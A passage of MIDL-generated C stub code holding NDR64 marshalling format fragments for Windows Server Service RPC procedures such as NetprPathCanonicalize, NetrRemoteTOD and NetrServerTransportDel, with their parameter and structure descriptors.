     1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* NameType */      /* parameter NameType */\n        &__midl_frag928,\n        { \n        /* NameType */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* Flags */      /* parameter Flags */\n        &__midl_frag928,\n        { \n        /* Flags */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag928,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag662_t __midl_frag662 =\n{ \n/* *DWORD */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 8 /* 0x8 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag928\n};\n\nstatic const __midl_frag658_t __midl_frag658 =\n0x10    /* FC64_CHAR */;\n\nstatic const __midl_frag656_t __midl_frag656 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag691\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag658\n    }\n};\n\nstatic const __midl_frag655_t __midl_frag655 =\n{ \n/* *char */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag656\n};\n\nstatic const __midl_frag650_t __midl_frag650 =\n{ \n/* NetprPathCanonicalize */\n    { \n    /* NetprPathCanonicalize */      /* procedure NetprPathCanonicalize */\n        (NDR64_UINT32) 21889088 /* 0x14e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 64 /* 0x40 */ ,  /* Stack size */\n        (NDR64_UINT32) 48 /* 0x30 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 8 /* 0x8 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag912,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* PathName */      /* parameter PathName */\n        &__midl_frag913,\n        { \n        /* PathName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Outbuf */      /* parameter Outbuf */\n        &__midl_frag656,\n        { \n        /* Outbuf */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* OutbufLen */      /* parameter OutbufLen */\n        &__midl_frag693,\n        { \n        /* OutbufLen */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* Prefix */      /* parameter Prefix */\n        &__midl_frag913,\n        { \n        /* Prefix */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* PathType */      /* parameter PathType */\n        &__midl_frag928,\n        { \n        /* PathType */\n            0,\n            0,\n            0,\n            1,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], [out], Basetype, SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* Flags */      /* parameter Flags */\n        &__midl_frag928,\n        { \n        /* Flags */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag928,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag646_t __midl_frag646 =\n{ \n/* *DWORD */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag928\n};\n\nstatic const __midl_frag641_t __midl_frag641 =\n{ \n/* NetprPathType */\n    { \n    /* NetprPathType */      /* procedure NetprPathType */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag912,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* PathName */      /* parameter PathName */\n        &__midl_frag913,\n        { \n        /* PathName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* PathType */      /* parameter PathType */\n        &__midl_frag928,\n        { \n        /* PathType */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* Flags */      /* parameter Flags */\n        &__midl_frag928,\n        { \n        /* Flags */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag928,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag640_t __midl_frag640 =\n{ \n/* Opnum29NotUsedOnWire */\n    { \n    /* Opnum29NotUsedOnWire */      /* procedure Opnum29NotUsedOnWire */\n        (NDR64_UINT32) 16777280 /* 0x1000040 */,    /* explicit handle */ /* IsIntrepreted, HasExtensions */\n        (NDR64_UINT32) 8 /* 0x8 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    }\n};\n\nstatic const __midl_frag638_t __midl_frag638 =\n{ \n/* _TIME_OF_DAY_INFO */\n    { \n    /* _TIME_OF_DAY_INFO */\n        0x30,    /* FC64_STRUCT */\n        (NDR64_UINT8) 3 /* 0x3 */,\n        { \n        /* _TIME_OF_DAY_INFO */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 48 /* 0x30 */\n    }\n};\n\nstatic const __midl_frag637_t __midl_frag637 =\n{ \n/* *_TIME_OF_DAY_INFO */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag638\n};\n\nstatic const __midl_frag636_t __midl_frag636 =\n{ \n/* **_TIME_OF_DAY_INFO */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 20 /* 0x14 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag637\n};\n\nstatic const __midl_frag633_t __midl_frag633 =\n{ \n/* NetrRemoteTOD */\n    { \n    /* NetrRemoteTOD */      /* procedure NetrRemoteTOD */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 120 /* 0x78 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag912,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* BufferPtr */      /* parameter BufferPtr */\n        &__midl_frag636,\n        { \n        /* BufferPtr */\n            0,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* MustFree, [out], UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag928,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag631_t __midl_frag631 =\n{ \n/* *SERVER_TRANSPORT_INFO_0 */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag561\n};\n\nstatic const __midl_frag627_t __midl_frag627 =\n{ \n/* NetrServerTransportDel */\n    { \n    /* NetrServerTransportDel */      /* procedure NetrServerTransportDel */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag912,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag928,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Buffer */      /* parameter Buffer */\n        &__midl_frag561,\n        { \n        /* Buffer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag928,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag624_t __midl_frag624 =\n{ \n/* *DWORD */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 8 /* 0x8 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag928\n};\n\nstatic const __midl_frag620_t __midl_frag620 =\n{ \n/*  */\n    { \n    /* *SERVER_TRANSPORT_INFO_3 */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag609\n    }\n};\n\nstatic const __midl_frag619_t __midl_frag619 =\n{ \n/*  */\n    { \n    /* struct _NDR64_FIX_ARRAY_HEADER_FORMAT */\n        0x40,    /* FC64_FIX_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* struct _NDR64_FIX_ARRAY_HEADER_FORMAT */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 256 /* 0x100 */\n    }\n};\n\nstatic const __midl_frag618_t __midl_frag618 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag913\n    },\n    { \n    /* *char */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag613\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag913\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag913\n    }\n};\n\nstatic const __midl_frag614_t __midl_frag614 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */\n    }\n};\n\nstatic const __midl_frag613_t __midl_frag613 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag614\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag658\n    }\n};\n\nstatic const __midl_frag611_t __midl_frag611 =\n{ \n/* SERVER_TRANSPORT_INFO_3 */\n    { \n    /* SERVER_TRANSPORT_INFO_3 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SERVER_TRANSPORT_INFO_3 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 312 /* 0x138 */,\n        0,\n        0,\n        &__midl_frag618,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag619\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag610_t __midl_frag610 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */\n    }\n};\n\nstatic const __midl_frag609_t __midl_frag609 =\n{ \n/* *SERVER_TRANSPORT_INFO_3 */\n    { \n    /* *SERVER_TRANSPORT_INFO_3 */\n        { \n        /* *SERVER_TRANSPORT_INFO_3 */\n            0x46,    /* FC64_FORCED_BOGUS_ARRAY */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            { \n            /* *SERVER_TRANSPORT_INFO_3 */\n                0,\n                1,\n                0,\n                0,\n                0,\n                0,\n                0,\n                0\n            },\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            &__midl_frag611\n        },\n        &__midl_frag610,\n        0,\n        0\n    }\n};\n\nstatic const __midl_frag608_t __midl_frag608 =\n{ \n/* _SERVER_XPORT_INFO_3_CONTAINER */\n    { \n    /* _SERVER_XPORT_INFO_3_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SERVER_XPORT_INFO_3_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag620,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag607_t __midl_frag607 =\n{ \n/* *_SERVER_XPORT_INFO_3_CONTAINER */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag608\n};\n\nstatic const __midl_frag606_t __midl_frag606 =\n{ \n/*  */\n    { \n    /* *SERVER_TRANSPORT_INFO_2 */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag596\n    }\n};\n\nstatic const __midl_frag598_t __midl_frag598 =\n{ \n/* SERVER_TRANSPORT_INFO_2 */\n    { \n    /* SERVER_TRANSPORT_INFO_2 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SERVER_TRANSPORT_INFO_2 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 